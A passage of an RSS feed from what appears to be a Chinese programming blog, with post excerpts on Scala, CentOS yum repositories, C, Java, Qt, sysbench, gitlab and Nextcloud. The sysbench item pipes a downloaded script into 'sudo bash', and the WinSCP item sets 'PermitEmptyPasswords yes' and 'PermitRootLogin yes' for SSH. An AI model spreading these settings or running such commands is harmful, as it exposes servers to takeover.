基于Akka创建两个Actor，Actor之间可以互相发送消息。&#xA;2.3.2 实现步骤 创建Maven模块创建并加载Actor发送/接收消息 2.3.3 创建Maven模块 使用Akka需要导入Akka库，这里我们使用Maven来管理项目, 具体步骤如下:&#xA;创建Maven模块.&#xA;选中项目, 右键 -&amp;gt; new -&amp;gt; Module -&amp;gt; Maven -&amp;gt; Next -&amp;gt; GroupId:&#x9;com.itheima ArtifactId:&#x9;akka-demo next -&amp;gt; 设置&#34;</description>
    </item>
    <item>
      <title>Scala基础教程--19--Actor</title>
      <link>https://bchobby.github.io/posts/6156a37624808aff89af748d5be77f70/</link>
      <pubDate>Thu, 30 Jun 2022 14:15:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6156a37624808aff89af748d5be77f70/</guid>
      <description>Scala基础教程–19–Actor 章节目标 了解Actor的相关概述掌握Actor发送和接收消息掌握WordCount案例 1. Actor介绍 Scala中的Actor并发编程模型可以用来开发比Java线程效率更高的并发程序。我们学习Scala Actor的目的主要是为后续学习Akka做准备。&#xA;1.1 Java并发编程的问题 在Java并发编程中，每个对象都有一个逻辑监视器（monitor），可以用来控制对象的多线程访问。我们添加sychronized关键字来标记，需要进行同步加锁访问。这样，通过加锁的机制来确保同一时间只有一个线程访问共享数据。但这种方式存在资源争夺、以及死锁问题，程序越大问题越麻烦。&#xA;线程死锁&#xA;1.2 Actor并发编程模型 Actor并发编程模型，是Scala提供给程序员的一种与Java并发编程完全不一样的并发编程模型，是一种基于事件模型的并发机制。Actor并发编程模型是一种不共享数据，依赖消息传递的一种并发编程模式，有效避免资源争夺、死锁等情况。&#xA;1.3 Java并发编程对比Actor并发编程 Java内置线程模型Scala Actor模型&#34;共享数据-锁&#34;模型 (share data and lock)share nothing每个object有一个monitor，监视线程对共享数据的访问不共享数据，Actor之间通过Message通讯加锁代码使用synchronized标识死锁问题每个线程内部是顺序执行的每个Actor内部是顺序执行的 注意:&#xA;scala在2.11.x版本中加入了Akka并发编程框架，老版本已经废弃。&#xA;Actor的编程模型和Akka很像，我们这里学习Actor的目的是为学习Akka做准备。&#xA;2. 创建Actor 我们可以通过类(class)或者单例对象(object), 继承Actor特质的方式, 来创建Actor对象.&#xA;2.1 步骤 定义class或object继承Actor特质重写act方法调用Actor的start方法执行Actor 注意: 每个Actor是并行执行的, 互不干扰.&#xA;2.2 案例一: 通过class实现 需求&#xA;创建两个Actor，一个Actor打印1-10，另一个Actor打印11-20使用class继承Actor实现.（如果需要在程序中创建多个相同的Actor） 参考代码&#xA;import scala.actors.Actor //案例:Actor并发编程入门, 通过class创建Actor object ClassDemo01 { //需求: 创建两个Actor，一个Actor打印1-10，另一个Actor打印11-20 //1. 创建Actor1, 用来打印1~10的数字. class Actor1 extends Actor { override def act(): Unit = for (i &amp;lt;- 1 to 10) println(&#34;</description>
    </item>
    <item>
      <title>centos6 yum源失效解决方法</title>
      <link>https://bchobby.github.io/posts/c019fba59a8a6ea07dea3ad0b32a458a/</link>
      <pubDate>Wed, 29 Jun 2022 23:23:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c019fba59a8a6ea07dea3ad0b32a458a/</guid>
      <description>今天看到服务器提示有漏洞需要更新，在执行更新命令的时候一直报错，因为CentOS 6操作系统版本结束了生命周期（EOL），Linux社区已不再维护该操作系统版本。导致不能正常更新，接下来吾爱编程为大家介绍一下Centos6 yum源失效解决方法，有需要的小伙伴可以参考一下：&#xA;1、背景信息： 2020年12月2日起，centos官方停止了对centos6的所有更新并且下架了包括官方所有的centos6源，目前阿里、163、清华等centos6源已无法使用。&#xA;如果非要用centos6的话就只能使用vault源，国内的vault源的话:&#xA;https://mirrors.tuna.tsinghua.edu.cn/centos-vault/、http://mirrors.aliyun.com/centos-vault/&#xA;2、解决方法： 2.1备份文件 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup 2.2更改CentOS-Base.repo文件 vim /etc/yum.repos.d/CentOS-Base.repo 更改内容如下&#xA;[base] name=CentOS-$releasever enabled=1 failovermethod=priority baseurl=http://mirrors.aliyun.com/centos-vault/centos/$releasever/os/$basearch/ gpgcheck=1 gpgkey=http://mirrors.aliyun.com/centos-vault/centos/RPM-GPG-KEY-CentOS-6 [updates] name=CentOS-$releasever enabled=1 failovermethod=priority baseurl=http://mirrors.aliyun.com/centos-vault/centos/$releasever/updates/$basearch/ gpgcheck=1 gpgkey=http://mirrors.aliyun.com/centos-vault/centos/RPM-GPG-KEY-CentOS-6 [extras] name=CentOS-$releasever enabled=1 failovermethod=priority baseurl=http://mirrors.aliyun.com/centos-vault/centos/$releasever/extras/$basearch/ gpgcheck=1 gpgkey=http://mirrors.aliyun.com/centos-vault/centos/RPM-GPG-KEY-CentOS-6 [centosplus] name=CentOS-6.10 - Plus - mirrors.aliyun.com failovermethod=priority baseurl=http://mirrors.aliyun.com/centos-vault/centos/$releasever/centosplus/$basearch/ gpgcheck=1 enabled=0 gpgkey=http://mirrors.aliyun.com/centos-vault/centos/RPM-GPG-KEY-CentOS-6 [contrib] name=CentOS-6.10 - Contrib - mirrors.aliyun.com failovermethod=priority baseurl=http://mirrors.aliyun.com/centos-vault/centos/$releasever/contrib/$basearch/ gpgcheck=1 enabled=0 gpgkey=http://mirrors.aliyun.com/centos-vault/centos/RPM-GPG-KEY-CentOS-6 2.2更改epel.repo文件 vim /etc/yum.repos.d/epel.repo 更改内容如下&#xA;[epel] name=Extra Packages for Enterprise Linux 6 - $basearch baseurl=http://mirrors.</description>
    </item>
    <item>
      <title>L1D2:C语言之数据类型、常量、变量及运算符</title>
      <link>https://bchobby.github.io/posts/4c4881a6f8c696daa449505347ba79cc/</link>
      <pubDate>Wed, 29 Jun 2022 16:37:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c4881a6f8c696daa449505347ba79cc/</guid>
      <description>一、C语言数据类型分类 C语言数据类型大致分类如下图所示：&#xA;1、 char类型（1字节）：范围-128 ~ 127，-128补码为1000000，char前面加unsigned的话变成无符号型，范围变成0 ~ 255。（编程时一定要注意数据范围，因为数据越界在程序中是不会报错的，加&amp;lt;limits.h&amp;gt;头文件可以查看各个变量的界限）&#xA;2、 short类型（2字节）：有符号时范围，-32768~32767 无符号时的范围：0~65535&#xA;3、 int类型（4字节）：分有无符号型 有符号范围：-231~231-1 无符号范围：0-2^32-1&#xA;4、 long类型（4字节）等同于int么&#xA;5、long long类型（8字节 64位）&#xA;6、float类型（4字节）：单精度浮点&#xA;7、double类型（8字节）：双精度浮点&#xA;除此之外，还有bool类型，此类型需要添加头文件&amp;lt;stdbool.h&amp;gt;（本质情况是bool不需要加头文件，而是true和false需要这个头文件），非0为真。&#xA;二、数据类型强制转换 1、 强制类型转换符后面的表达式如存在复杂运算，就一定要用小括号括起来&#xA;2、 强制类型转换符是一种不安全的转换，一般都是将高级类型转换成低级类型，要丢失数据的精度&#xA;3、 强制类型转换并不改变表达式本身的数据类型&#xA;如下程序：&#xA;#include &amp;lt;stdio.h&amp;gt; int main(int argc , char *argv[]) { int a = 3; int b = 2; float div = 0; div = (float)a / (float)b; printf(&#34;value b is :%f\n&#34;,div); return 0; } 如果不对a、b进行强制转换输出结果为1，强制转换后输出结果为1.5&#xA;三、常量 3.1基本数据类型的常量 1、 整型常量：即整数</description>
    </item>
    <item>
      <title>JAVA-信息录入</title>
      <link>https://bchobby.github.io/posts/bb34cdde0298f61b998e2ee3bef6a23b/</link>
      <pubDate>Wed, 29 Jun 2022 12:47:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb34cdde0298f61b998e2ee3bef6a23b/</guid>
      <description>本题要求实现一个可以实现学生姓名年龄多次录入的系统，并能够打印出来。&#xA;解析：题目就一句话，这句话包含了很多要求。&#xA;1、键盘录入学生姓名和年龄（键入的信息包括姓名和年龄，可以用String来表示）&#xA;2、实现多次录入学生信息（循环录入或者循环方法录入。多次是多少次？是用户可以指定次数！）&#xA;3、录入完成后自动打印（获取录入信息并打印）&#xA;解法：&#xA;1、可以创建一个student类，在类里保存name、age、创建写入和读取name和age的方法。&#xA;2、在主程序里调用studen类功能。&#xA;代码：&#xA;//student.java public class student { String name;//创建名字信息 String age;//创建年龄信息 public student(){}//无参方法 public student(String name,String age){ this.name = name; this.age = age; }//有参方法 public void setname(String name){ this.name = name; }//写入姓名 public String getname(){ return name; }//获取姓名 public void setage(String age){ this.age = age; }//写入年龄 public String getage(){ return age; }//获取年龄 } //test.java import java.util.ArrayList; import java.util.Scanner; public class test { public static void main(String[] args) { ArrayList&amp;lt;student&amp;gt; arrlist = new ArrayList&amp;lt;&amp;gt;(); Scanner n = new Scanner(System.</description>
    </item>
    <item>
      <title>虚拟自动取款机ATM设计(C语言)</title>
      <link>https://bchobby.github.io/posts/a79e3742abb08a28898865007dcad6da/</link>
      <pubDate>Wed, 29 Jun 2022 12:13:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a79e3742abb08a28898865007dcad6da/</guid>
      <description>1.设计一个模拟自动取款机ATM，有常用的功能&#xA;2.常用的功能有：用户输入密码登录界面；取款界面；取款后的取款金额以及剩余显示，退出功能等等&#xA;3.程序执行的命令包括：（1）输入正确密码进入主登录页面&#xA;（2）执行取款界面&#xA;（3）显示取款金额以及剩余金额&#xA;（4）退出系统界面&#xA;#define _CRT_SECURE_NO_WARNINGS 1 #define _CRT_SECURE_NO_DEPRECATE 1 #define _CRT_NONSTDC_NO_DEPRECATE 1 #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;conio.h&amp;gt; int main() { char key, Cmoney;//定义变量 int password, zpassword = 123456;//定义密码与密码的正确值，默认正确密码为123456 int i = 1; int a = 1000;//默认最初的金额为1000 while (1) { do { system(&#34;cls&#34;);//清屏 printf(&#34;********************欢迎来到模拟ATM取款机**********************\n&#34;); printf(&#34;\n&#34;); printf(&#34; **********Please select key(请选择)**************\n&#34;); printf(&#34;\n&#34;); printf(&#34; **********1.Password（密码验证）***********\n&#34;); printf(&#34;\n&#34;); printf(&#34; **********2.Get money（取款）***********\n&#34;); printf(&#34;\n&#34;); printf(&#34; **********3.Return（退出）*************\n&#34;); printf(&#34;\n&#34;); printf(&#34;********************欢迎来到模拟ATM取款机**********************\n&#34;); key = getch();//key的值等于刚刚键盘录入的值 } while (key !</description>
    </item>
    <item>
      <title>WinSCP 连接 Ubuntu，显示拒绝访问。</title>
      <link>https://bchobby.github.io/posts/50a50e614d0261a57579d6ba2fd55dc9/</link>
      <pubDate>Wed, 29 Jun 2022 11:41:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50a50e614d0261a57579d6ba2fd55dc9/</guid>
      <description> 问题 WinSCP 连接 Ubuntu，显示拒绝访问。&#xA;出现该问题的原因很多，我的原因是ssh服务失效了。&#xA;解决方法： 安装ssh服务端&#xA;sudo apt-get install openssh-server #安装ssh服务端 打开ssh配置文件&#xA;sudo vi /etc/ssh/sshd_config 修改里面的参数，把几个的参数改成yes。&#xA;PermitRootLogin yes PermitEmptyPasswords yes PermitRootLogin yes 重启ssh服务&#xA;service sshd restart 重启服务器&#xA;sudo reboot </description>
    </item>
    <item>
      <title>sysbench数据库压测工具详解与实战</title>
      <link>https://bchobby.github.io/posts/62fafc098e4e6e9c620c5dd94db35722/</link>
      <pubDate>Wed, 29 Jun 2022 10:51:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62fafc098e4e6e9c620c5dd94db35722/</guid>
      <description>sysbench是一个基于LuaJIT脚本的多线程基准测试工具。2004年由Peter Zaitsev（Percona公司创始人）开发，在其0.5版本中可以使用Lua脚本实现OLTP测试。2016年重构了sysbench代码，并在2017年2月针对新的硬件环境发布了1.0版本，优化了测试性能（是0.5版本的6倍，可以压测60万TPS）和可扩展性（无Mutex、无共享计数器、多线程扩展性更强）。&#xA;sysbench不仅可用于数据库基准测试，也可用于服务器的其他工作负载基准测试。本文主要以1.0版本为例介绍sysbench。在新的Release版本下，sysbench新增与优化了如下一些特性。&#xA;可以收集有关速率和延迟时间的统计数据，包括延迟百分比和直方图。低开销，可以执行数以千计的并发线程，能够每秒产生和跟踪数亿个事件。通过Lua脚本轻松实现了预定义的钩子，以创建新的测试基准。可以用作通用的Lua脚本解释器，只需在Lua脚本中将“#!/usr/bin/lua”替换为“#!/usr/bin/sysbench”即可。 1　安装sysbench 1.1　yum安装 执行如下命令，设置yum repo仓库/etc/yum.repos.d/akopytov_sysbench.repo，并直接使用yum安装。&#xA;# RHEL/CentOS&#xA;[root@localhost~]# curl -s https://packagecloud.io/install/repositories/akopytov/ sysbench/script.rpm.sh | sudo bash&#xA;[root@localhost~]# sudo yum -y install sysbench&#xA;1.2　RPM包安装 手动下载RPM包来安装（仅限RHEL/CentOS），但是在安装sysbench前需要先安装依赖包，然后再安装该RPM包。&#xA;[root@localhost~]# yum install mysql-libs postgresql-libs -y&#xA;[root@localhost~]# rpm -Uvh sysbench-1.0.7-13.el6.x86_64.rpm --nodeps&#xA;由于sysbench编译时依赖libmysqlclient动态链接库，所以要选择对应版本的sysbench，或者使用软链接： [root@localhost~]# ln -s /usr/lib64/mysql/libmysqlclient.so.18 /usr/lib64/ libmysqlclient_r.\ so.16&#xA;1.3　编译安装 安装依赖的编译环境：&#xA;# RHEL/CentOS&#xA;[root@localhost~]# yum -y install make automake libtool pkgconfig libaio-devel vim-\&#xA;common git&#xA;## For MySQL support, replace with mysql-devel on RHEL/CentOS 5</description>
    </item>
    <item>
      <title>gitlab开机启动|启动 停止 重启</title>
      <link>https://bchobby.github.io/posts/d7e88d4ddfbfc262060101d120597fe1/</link>
      <pubDate>Wed, 29 Jun 2022 10:36:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7e88d4ddfbfc262060101d120597fe1/</guid>
      <description>修改配置后的初始化&#xA;gitlab-ctl reconfigure&#xA;启动&#xA;sudo gitlab-ctl start&#xA;停止&#xA;sudo gitlab-ctl stop&#xA;重启&#xA;sudo gitlab-ctl restart&#xA;开机启动&#xA;systemctl enable gitlab-runsvdir.service&#xA;禁止开机自启动&#xA;systemctl disable gitlab-runsvdir.service</description>
    </item>
    <item>
      <title>浅谈java开启异步线程的几种方法(@Async,AsyncManager,线程池)</title>
      <link>https://bchobby.github.io/posts/674362bb3bf95cad2fe1eb31cafefdc3/</link>
      <pubDate>Wed, 29 Jun 2022 10:34:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/674362bb3bf95cad2fe1eb31cafefdc3/</guid>
      <description>浅谈java开启异步线程的几种方法 整体描述实现方法一、注解@Async1. 添加注解2. 创建异步方法Service和实现类3. 调用异步方法 二、AsyncManager1. 创建AsyncManager类2. 创建一个耗时的操作类3. 执行异步操作 三、线程池1. 创建线程池2. 创建一个耗时的操作类3. 执行线程池 总结 整体描述 在java中异步线程很重要，比如在业务流处理时，需要通知硬件设备，发短信通知用户，或者需要上传一些图片资源到其他服务器这种耗时的操作，在主线程里处理会阻塞整理流程，而且我们也不需要等待处理结果之后再进行下一步操作，这时候就可以使用异步线程进行处理，这样主线程不会因为这些耗时的操作而阻塞，保证主线程的流程可以正常进行。&#xA;最近在项目中使用了很多线程的操作，在这做个记录。&#xA;实现方法 线程的操作，是java中最重要的部分之一，实现线程操作也有很多种方法，这里仅介绍几种常用的。在springboot框架中，可以使用注解简单实现线程的操作，还有AsyncManager的方式，如果需要复杂的线程操作，可以使用线程池实现。下面根据具体方法进行介绍。&#xA;一、注解@Async springboot框架的注解，使用时也有一些限制，这个在网上也有很多介绍，@Async注解不能在类本身直接调用，在springboot框架中，可以使用单独的Service实现异步方法，然后在其他的类中调用该Service中的异步方法即可，具体如下：&#xA;1. 添加注解 在springboot的config中添加 @EnableAsync注解，开启异步线程功能&#xA;package com.thcb.boot.config; import org.springframework.context.annotation.Configuration; import org.springframework.scheduling.annotation.EnableAsync; /** * MyConfig * * @author thcb */ @Configuration @EnableAsync public class MyConfig { // 自己配置的Config } 2. 创建异步方法Service和实现类 使用service实现耗时的方法&#xA;Service类：&#xA;package com.thcb.execute.service; import org.springframework.scheduling.annotation.Async; /** * IExecuteService * * @author thcb */ public interface IExecuteService { /** * 一些耗时的操作，使用单独线程处理 * 这里就简单写了一个sleep5秒的操作 */ @Async public void sleepingTest(); } Service实现类：</description>
    </item>
    <item>
      <title>梦中情盘！基于NextCloud搭建个人私有云！</title>
      <link>https://bchobby.github.io/posts/307b5277b6673aaf89999f7313c1073b/</link>
      <pubDate>Wed, 29 Jun 2022 00:33:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/307b5277b6673aaf89999f7313c1073b/</guid>
      <description>目录&#xA;一.事情是这样的&#xA;二.调研与架构设计&#xA;1.调研&#xA;2.实现目标&#xA;3.架构设计&#xA;三.硬件&#xA;四.软件&#xA;五.过程&#xA;1.安装docker&#xA;2.安装mysql&#xA;3.安装nextcloud&#xA;4.挂载外部存储&#xA;5.内网穿透&#xA;六.FAQ&#xA;一.事情是这样的 基本上使用过市面上的所有网盘软件：某度网盘、某雷云、某里云、某果云、google云盘等，但是没大部分遇到了如下这些问题：&#xA;二.调研与架构设计 1.调研 肝了3晚，终于把这套搞定了！调研了市面上一些开源软件、seafile、owncloud、 nextcloud等；最终让我选定nextcloud 的是因为它官网的这段话：&#xA;重新夺回控制权！！！&#xA;2.实现目标 无限的存储容量（可低成本扩展）。外网和内网都可访问(可正常速率上传下载)。数据的永久储存。(磁盘阵列) 3.架构设计 拓扑图&#xA;软硬件环境&#xA;三.硬件 dell R620 服务器 window server 2012；80G内存；8T 硬盘；一个阵列卡。破笔记本刷成了centos 7 8G内存；120G硬盘。 百兆wifi 一个。移动硬盘一个，已格式化FAST 32。 四.软件 用到的主要软件也就是下面这几个 ：&#xA;官网：Homepage - Nextcloud&#xA;官网：Home - Docker&#xA;官网： Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器&#xA;五.过程 安装主要分为5部分：安装docker、安装mysql、安装nextcloud、挂载外部存储、内网穿透。&#xA;1.安装docker yum install docker systemctl status docker 2.安装mysql yum install docker 非必须： vi /etc/docker/daemon.</description>
    </item>
    <item>
      <title>河南高考录取统计分析</title>
      <link>https://bchobby.github.io/posts/be1b513fcac7938a0934527732d0a6ef/</link>
      <pubDate>Tue, 28 Jun 2022 23:01:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be1b513fcac7938a0934527732d0a6ef/</guid>
      <description>公开媒体资料显示2022年河南高考人数再创新高，达到125万人，稳居国内各省市第一名。这些数据当中包括对口招生、专升本的人数，实际参加普通高考的人数要低于这个数据，据统计，每年参加普通高考的人数在60-80万人之间。考生人数，本科录取率这些数据关乎着每一位考生，这些数据在志愿填报的时候是一个重要的参考依据。俗话说考的好，不如报的好。只有在充分了解历年数据的基础上，才能根据自己的分数进行合理的志愿填报，做到一分也不浪费。&#xA;【历年一分一段表获取链接】&#xA;根据近几年一分一段表的数据统计，考生人数基本呈现逐年递增的趋势，这个结果和官方发布的高考人数数据的趋势基本保持一致。其中理科考生人数要比文科考生人数多大约10万余人。&#xA;从数据可以看出来多数同学在分科的时候选择理科，一方面和个人的兴趣有关，另一方面其实和录取率也有关。&#xA;从录取人数来看，文科考生的录取人数有小幅的上升趋势，但是录取率确持续走低，从数据层面来看，是因为考生人数增加的量级，要远高于每年高校的录取人数。尽管文科的录取人数有递增趋势，但是架不住考生人数的增长，从而拉低了录取率。理科录取人数也有增长的趋势，但是录取率稳定在45%—50%的区间，相对于文科的录取率是偏高的，这也能解释为什么理科的选择人数是高于文科。&#xA;【备注：2017年后，没有本科三批，2016年的二本录取人数实际包含了二本和三本的总人数】&#xA;数据来源：招生办公开资料统计&#xA;在传统观念里面，读本科要比对专科“有前途”。&#xA;从2018-2020的文科本科录取数据来看，文科本科的录取人数基本保持稳定7万人，但是考生的人数是历年增加的，这也意味着考生能上本科的难度在提升。&#xA;本科一批的录取人数稳定在16000人，录取率在5%左右。&#xA;本科二批的录取人数稳定在6万人，录取率在20%左右。&#xA;从2018-2020的理科录取数据来看，理科本科的录取人数基本稳定在20w人。本科一批和本科二批的录取率呈现相反的趋势，从图上可以直观看出，较于上一年，如果一本录取率是上升，二本的录取率则是下降的，这和每年分数线的划定有关。&#xA;河南作为一个人口大省、农业大省，全省只有一所211大学。考生想考好学校，只能往省外考。一般来说，一所高校在本地的招生计划人数是最多的，这也意味着河南的考生想考好学校的难度是要高于其他地区的。&#xA;文科的“985”录取人数在900人左右，录取率千分之三。&#xA;“211”的录取人数在3000人左右，录取率1%。&#xA;理科的“985”录取人数在6000人左右，录取率1%。&#xA;“211”的录取人数在17000人左右，录取率4%。&#xA;这个难度，放眼全国应该是数一数二的。&#xA;如果高考是一场游戏，那么这个游戏的规则就是录取率。&#xA;作为一名普通的考生，能够做的不是吐槽“游戏”太难，而应该是在考前练好自身“技能”，考后合理填报志愿，不负自己努力得到的每一分，考上自己心仪的学校。&#xA;尽管每年的分数线在变化，除非有大规模的扩招，否则每年高校的录取人数基本是稳定的。根据目前平行志愿的录取原则，考生知道自己的排名，再根据学校的近几年的录取位次，基本能够锁定自己能上的学校。&#xA;祝愿每位考生都能心想事成，成功上岸！&#xA;2019-2021院校录取统计以及一分一段表电子版资料获取链接：&#xA;http://smartgaokao.cn/index/index.html</description>
    </item>
    <item>
      <title>elementui中设置背景色、鼠标经过颜色冲突失效</title>
      <link>https://bchobby.github.io/posts/ebe1c655de579d4794980e520615d5f7/</link>
      <pubDate>Tue, 28 Jun 2022 22:00:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebe1c655de579d4794980e520615d5f7/</guid>
      <description>前言：刚毕业，一切都在慢慢学习的过程中，记录上班遇到的问题，随缘发布。&#xA;今日问题：自定义elementui表格除表头的背景颜色后，原本设置的鼠标滑过某一行的颜色失效了。&#xA;//利用cell-style设置单元格背景颜色 &amp;lt;el-table :data=&#34;tableData&#34; style=&#34;width: 100%&#34; :cell-style=&#34;{backgroundColor: &#39;#fefefe&#39;}&#34; :header-cell-style=&#34;{ backgroundColor: &#39;#f2f2f2&#39; }&#34;&amp;gt; &amp;lt;/el-table&amp;gt; //鼠标经过，当前行的颜色 body tr:hover&amp;gt;td { background-color: #f2f2f2; } .el-table__body tr.current-row&amp;gt;td { background-color: #f2f2f2; } 解决方法：设置除表头外的单元格背景颜色换为`:row-style`即可。&#xA;//利用cell-style设置单元格背景颜色 &amp;lt;el-table :data=&#34;tableData&#34; style=&#34;width: 100%&#34; :row-style=&#34;{backgroundColor: &#39;#fefefe&#39;}&#34; :header-cell-style=&#34;{ backgroundColor: &#39;#f2f2f2&#39; }&#34;&amp;gt; &amp;lt;/el-table&amp;gt; 也不知道为什么使用cell-style不可以，请问有大佬可以解惑一下吗？</description>
    </item>
    <item>
      <title>DOCKER WSL2错误，更新安装包地址</title>
      <link>https://bchobby.github.io/posts/fc1d8e06ccf9e8a0684d51df305aa2e7/</link>
      <pubDate>Tue, 28 Jun 2022 21:48:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc1d8e06ccf9e8a0684d51df305aa2e7/</guid>
      <description>我们安装Docker Desktop的时候,他会问我们是否需要使用WSL2(基于Windows的Linux子系统),如果我们不适用,就会使用Hyper-v虚拟机运行,不过相比于虚拟机,子系统在性能方面更加出色。在我们选择使用WSL2之后,并且我们也确定打开了如下图所示的Windows功能(如果没有打开,请先百度如何打开wsl。)&#xA;还是会出现一个下图所示的报错。&#xA;解决报错&#xA;更加报错提示,猜测可能是我们使用的wsl2版本老了,需要我们自己手动更新一下,我们根据提示去微软官网下载最新版的wsl2安装后即可正常打开。&#xA;更新包下载链接。&#xA;————————————————&#xA;版权声明：本文为CSDN博主「寻_觅」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/qq_39611230/article/details/108625840</description>
    </item>
    <item>
      <title>[QT]实现点击按钮弹出图片的效果</title>
      <link>https://bchobby.github.io/posts/156b2138f517b3df7ca2dc59d2c32932/</link>
      <pubDate>Tue, 28 Jun 2022 21:25:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/156b2138f517b3df7ca2dc59d2c32932/</guid>
      <description>点击按钮弹出图片的实现&#xA;void MainWindow::btnTest() { QLabel* labelImage = new QLabel(this, Qt::Dialog |Qt::WindowCloseButtonHint); /* 去掉?按钮 */ labelImage-&amp;gt;setWindowTitle(&#34;图片&#34;); QString imagePath = &#34;B:\\Image\\JPG\\3.jpg&#34;; QFileInfo file(imagePath); if(file.exists()) { QImage image; image.load(imagePath); /* 下面这两句代码是Label跟随图片大小变化 */ //ret-&amp;gt;resize(QSize(image.width(), image.height())); //ret-&amp;gt;setPixmap(QPixmap::fromImage(image)); /* 这两句是图片跟随label大小变化 */ labelImage-&amp;gt;resize(300,300); labelImage-&amp;gt;setPixmap(QPixmap::fromImage(image.scaled(300, 300, Qt::KeepAspectRatio))); } else{ qDebug() &amp;lt;&amp;lt; &#34;未找到该图片&#34;; } labelImage-&amp;gt;show(); } 效果&#xA;--------------------------------------------------------分割线----------------------------------------------------------&#xA;修改:（20220628）&#xA;上述程序中labelImage作为一个指针，在关闭时并没有释放，当打开关闭很多次时，内存泄漏现象就很明显，现修改程序如下：&#xA;1. 将指针定义在函数外部，在头文件中定义QLabel* labelImage;&#xA;2. 按钮槽函数将-&amp;gt;改为.，并且为labelImage安装事件过滤器，在程序中捕获labelImage的关闭事件，从而销毁指针；&#xA;按钮槽函数修改如下：&#xA;void MainWindow::on_pushButton_clicked() { QString imagePath = &#34;D:\\AccountFile\\Desk\\build-Test-Desktop_Qt_5_13_0_MSVC2017_64bit-Debug\\debug\\Drunk_Kobayashi_Python.png&#34;; QFileInfo file(imagePath); if(!file.exists()) return; QImage image; image.</description>
    </item>
    <item>
      <title>酒店管理系统(ppt&#43;ER图&#43;流程图&#43;需求背景数据库&#43;架构说明有lun文源码齐全)</title>
      <link>https://bchobby.github.io/posts/3510a52e19f40e98c232310f6b7e3e71/</link>
      <pubDate>Tue, 28 Jun 2022 18:19:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3510a52e19f40e98c232310f6b7e3e71/</guid>
      <description>下载地址：酒店管理系统(ppt+ER图+流程图+需求背景数据库+架构说明有lun文源码齐全)-Web服务器文档类资源-CSDN下载&#xA;├── java swing mysql实现的酒店管理系统项目源码&#xA;│ ├── 截图&#xA;│ │ ├── 0.png&#xA;│ │ ├── 01.png&#xA;│ │ ├── 1.png&#xA;│ │ ├── 10.png&#xA;│ │ ├── 11.png&#xA;│ │ ├── 12.png&#xA;│ │ ├── 13.png&#xA;│ │ ├── 14.png&#xA;│ │ ├── 2.png&#xA;│ │ ├── 3.png&#xA;│ │ ├── 4.png&#xA;│ │ ├── 5.png&#xA;│ │ ├── 6.png&#xA;│ │ ├── 7.png&#xA;│ │ ├── 8.png&#xA;│ │ └── 9.</description>
    </item>
    <item>
      <title>Linux 下 history 的使用小技巧</title>
      <link>https://bchobby.github.io/posts/5d037eed042ee157119928501683d858/</link>
      <pubDate>Tue, 28 Jun 2022 15:27:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d037eed042ee157119928501683d858/</guid>
      <description>目录 HISTORY 的工作原理常用方法HISTORY的优化设置审计追踪 HISTORY 的工作原理 Linux 命令的历史记录，会持久化储存，默认储存位置在 ~/.bash_history 文件中保存。在做持久化前历史命令是储存在缓冲区中，等到你推出登入时或换 shell 环境时会进行统一的记录。&#xA;常用方法 命令 / 参数解析history查看历史命令-w将缓存区中的历史命令录入到文件中-c清楚缓存区的历史命令 HISTORY的优化设置 配置文件位置：/etc/profile&#xA;在线生效：source /etc/profile&#xA;# 设置历史记录多少条 HISTSIZE=1000 # 设置缓存的历史记录到此文件 HISTFILE=~/.bash_history # 设置文件记录多少条记录 HISTFILESIZE=10000 # 设置查看历史记录时显示时间 HISTTIMEFORMAT=&#34;%F %T&#34; # 设置这些命令不记录到历史记录 HISTGNORE=&#34;ls:history:hostname&#34; export HISTSIZE HISTFILE HISTFILESIZE HISTTIMEFORMAT HISTGNORE 审计追踪 HISTSIZE=1000 HISTFILESIZE=10000 USER_IP=`who -u -m | awk &#39;{print $NF}&#39; | sed &#39;s/[()]//g&#39;` USER=`whoami` HISTTIMEFORMAT=&#34;[%F %T] [$USER] [$USER_IP] &#34; 文章推荐1&#xA;文章推荐2</description>
    </item>
    <item>
      <title>拼多多电商API接口详情</title>
      <link>https://bchobby.github.io/posts/63100b33c2c12ae64820f6bd691c42e8/</link>
      <pubDate>Tue, 28 Jun 2022 14:45:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63100b33c2c12ae64820f6bd691c42e8/</guid>
      <description>测试接口：https://console.open.onebound.cn/console/index.php?i=Anzexi&#xA;item_get - 根据ID取商品详情：&#xA;测试数据部分截图：&#xA;item_search - 根据关键词取商品列表：&#xA;测试数据部分截图：&#xA;名称类型必须描述keyString是调用key（必须以GET方式拼接在URL中）secretString是调用密钥api_nameString是API接口名称（包括在请求地址中）[item_search,item_get,item_search_shop等]cacheString否[yes,no]默认yes，将调用缓存的数据，速度比较快result_typeString否[json,jsonu,xml,serialize,var_export]返回数据格式，默认为json，jsonu输出的内容中文可以直接阅读langString否[cn,en,ru]翻译语言，默认cn简体中文versionString否API版本 item_search_data-获得搜索词统计：&#xA;测试数据部分截图：&#xA;名称类型必须描述keyString是调用key（必须以GET方式拼接在URL中）secretString是调用密钥api_nameString是API接口名称（包括在请求地址中）[item_search,item_get,item_search_shop等]cacheString否[yes,no]默认yes，将调用缓存的数据，速度比较快result_typeString否[json,jsonu,xml,serialize,var_export]返回数据格式，默认为json，jsonu输出的内容中文可以直接阅读langString否[cn,en,ru]翻译语言，默认cn简体中文versionString否API版本 